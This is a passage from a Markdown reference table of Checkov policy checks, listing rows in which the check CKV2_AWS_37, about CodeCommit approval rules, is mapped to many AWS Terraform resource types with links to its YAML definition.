[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1348 | CKV2_AWS_37              | resource                         | aws_dms_s3_endpoint                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1349 | CKV2_AWS_37              | resource                         | aws_docdb_cluster                                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1350 | CKV2_AWS_37              | resource                         | aws_docdb_cluster_instance                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1351 | CKV2_AWS_37              | resource                         | aws_docdb_cluster_parameter_group                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1352 | CKV2_AWS_37              | resource                         | aws_docdb_cluster_snapshot                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1353 | CKV2_AWS_37              | resource                         | aws_docdb_event_subscription                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1354 | CKV2_AWS_37              | resource                         | aws_docdb_global_cluster                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1355 | CKV2_AWS_37              | resource                         | aws_docdb_subnet_group                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1356 | CKV2_AWS_37              | resource                         | aws_docdbelastic_cluster                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1357 | CKV2_AWS_37              | resource                         | aws_drs_replication_configuration_template                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1358 | CKV2_AWS_37              | resource                         | aws_dx_bgp_peer                                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1359 | CKV2_AWS_37              | resource                         | aws_dx_connection                                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1360 | CKV2_AWS_37              | resource                         | aws_dx_connection_association                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1361 | CKV2_AWS_37              | resource                         | aws_dx_connection_confirmation                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1362 | CKV2_AWS_37              | resource                         | aws_dx_gateway                                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1363 | CKV2_AWS_37              | resource                         | aws_dx_gateway_association                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1364 | CKV2_AWS_37              | resource                         | aws_dx_gateway_association_proposal                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1365 | CKV2_AWS_37              | resource                         | aws_dx_hosted_connection                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1366 | CKV2_AWS_37              | resource                         | aws_dx_hosted_private_virtual_interface                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1367 | CKV2_AWS_37              | resource                         | aws_dx_hosted_private_virtual_interface_accepter                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1368 | CKV2_AWS_37              | resource                         | aws_dx_hosted_public_virtual_interface                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1369 | CKV2_AWS_37              | resource                         | aws_dx_hosted_public_virtual_interface_accepter                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1370 | CKV2_AWS_37              | resource                         | aws_dx_hosted_transit_virtual_interface                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1371 | CKV2_AWS_37              | resource                         | aws_dx_hosted_transit_virtual_interface_accepter                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1372 | CKV2_AWS_37              | resource                         | aws_dx_lag                                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1373 | CKV2_AWS_37              | resource                         | aws_dx_macsec_key_association                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1374 | CKV2_AWS_37              | resource                         | aws_dx_private_virtual_interface                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1375 | CKV2_AWS_37              | resource                         | aws_dx_public_virtual_interface                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1376 | CKV2_AWS_37              | resource                         | aws_dx_transit_virtual_interface                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1377 | CKV2_AWS_37              | resource                         | aws_dynamodb_contributor_insights                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1378 | CKV2_AWS_37              | resource                         | aws_dynamodb_global_table                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1379 | CKV2_AWS_37              | resource                         | aws_dynamodb_kinesis_streaming_destination                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1380 | CKV2_AWS_37              | resource                         | aws_dynamodb_resource_policy                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1381 | CKV2_AWS_37              | resource                         | aws_dynamodb_table                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1382 | CKV2_AWS_37              | resource                         | aws_dynamodb_table_export                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1383 | CKV2_AWS_37              | resource                         | aws_dynamodb_table_item                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1384 | CKV2_AWS_37              | resource                         | aws_dynamodb_table_replica                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1385 | CKV2_AWS_37              | resource                         | aws_dynamodb_tag                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1386 | CKV2_AWS_37              | resource                         | aws_ebs_default_kms_key                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1387 | CKV2_AWS_37              | resource                         | aws_ebs_encryption_by_default                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1388 | CKV2_AWS_37              | resource                         | aws_ebs_fast_snapshot_restore                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1389 | CKV2_AWS_37              | resource                         | aws_ebs_snapshot                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1390 | CKV2_AWS_37              | resource                         | aws_ebs_snapshot_block_public_access                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1391 | CKV2_AWS_37              | resource                         | aws_ebs_snapshot_copy                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1392 | CKV2_AWS_37              | resource                         | aws_ebs_snapshot_import                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1393 | CKV2_AWS_37              | resource                         | aws_ebs_volume                                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1394 | CKV2_AWS_37              | resource                         | aws_ec2_availability_zone_group                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1395 | CKV2_AWS_37              | resource                         | aws_ec2_capacity_block_reservation                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1396 | CKV2_AWS_37              | resource                         | aws_ec2_capacity_reservation                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1397 | CKV2_AWS_37              | resource                         | aws_ec2_carrier_gateway                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1398 | CKV2_AWS_37              | resource                         | aws_ec2_client_vpn_authorization_rule                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1399 | CKV2_AWS_37              | resource                         | aws_ec2_client_vpn_endpoint                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1400 | CKV2_AWS_37              | resource                         | aws_ec2_client_vpn_network_association                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1401 | CKV2_AWS_37              | resource                         | aws_ec2_client_vpn_route                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1402 | CKV2_AWS_37              | resource                         | aws_ec2_fleet                                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1403 | CKV2_AWS_37              | resource                         | aws_ec2_host                                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1404 | CKV2_AWS_37              | resource                         | aws_ec2_image_block_public_access                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1405 | CKV2_AWS_37              | resource                         | aws_ec2_instance_connect_endpoint                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1406 | CKV2_AWS_37              | resource                         | aws_ec2_instance_metadata_defaults                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1407 | CKV2_AWS_37              | resource                         | aws_ec2_instance_state                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1408 | CKV2_AWS_37              | resource                         | aws_ec2_local_gateway_route                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1409 | CKV2_AWS_37              | resource                         | aws_ec2_local_gateway_route_table_vpc_association                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1410 | CKV2_AWS_37              | resource                         | aws_ec2_managed_prefix_list                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1411 | CKV2_AWS_37              | resource                         | aws_ec2_managed_prefix_list_entry                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1412 | CKV2_AWS_37              | resource                         | aws_ec2_network_insights_analysis                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1413 | CKV2_AWS_37              | resource                         | aws_ec2_network_insights_path                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1414 | CKV2_AWS_37              | resource                         | aws_ec2_serial_console_access                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1415 | CKV2_AWS_37              | resource                         | aws_ec2_subnet_cidr_reservation                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1416 | CKV2_AWS_37              | resource                         | aws_ec2_tag                                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1417 | CKV2_AWS_37              | resource                         | aws_ec2_traffic_mirror_filter                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1418 | CKV2_AWS_37              | resource                         | aws_ec2_traffic_mirror_filter_rule                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1419 | CKV2_AWS_37              | resource                         | aws_ec2_traffic_mirror_session                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1420 | CKV2_AWS_37              | resource                         | aws_ec2_traffic_mirror_target                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1421 | CKV2_AWS_37              | resource                         | aws_ec2_transit_gateway                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1422 | CKV2_AWS_37              | resource                         | aws_ec2_transit_gateway_connect                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1423 | CKV2_AWS_37              | resource                         | aws_ec2_transit_gateway_connect_peer                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1424 | CKV2_AWS_37              | resource                         | aws_ec2_transit_gateway_default_route_table_association                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1425 | CKV2_AWS_37              | resource                         | aws_ec2_transit_gateway_default_route_table_propagation                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1426 | CKV2_AWS_37              | resource                         | aws_ec2_transit_gateway_multicast_domain                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1427 | CKV2_AWS_37              | resource                         | aws_ec2_transit_gateway_multicast_domain_association                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1428 | CKV2_AWS_37              | resource                         | aws_ec2_transit_gateway_multicast_group_member                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1429 | CKV2_AWS_37              | resource                         | aws_ec2_transit_gateway_multicast_group_source                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1430 | CKV2_AWS_37              | resource                         | aws_ec2_transit_gateway_peering_attachment                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1431 | CKV2_AWS_37              | resource                         | aws_ec2_transit_gateway_peering_attachment_accepter                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1432 | CKV2_AWS_37              | resource                         | aws_ec2_transit_gateway_policy_table                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1433 | CKV2_AWS_37              | resource                         | aws_ec2_transit_gateway_policy_table_association                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1434 | CKV2_AWS_37              | resource                         | aws_ec2_transit_gateway_prefix_list_reference                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1435 | CKV2_AWS_37              | resource                         | aws_ec2_transit_gateway_route                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1436 | CKV2_AWS_37              | resource                         | aws_ec2_transit_gateway_route_table                                                              | Ensure 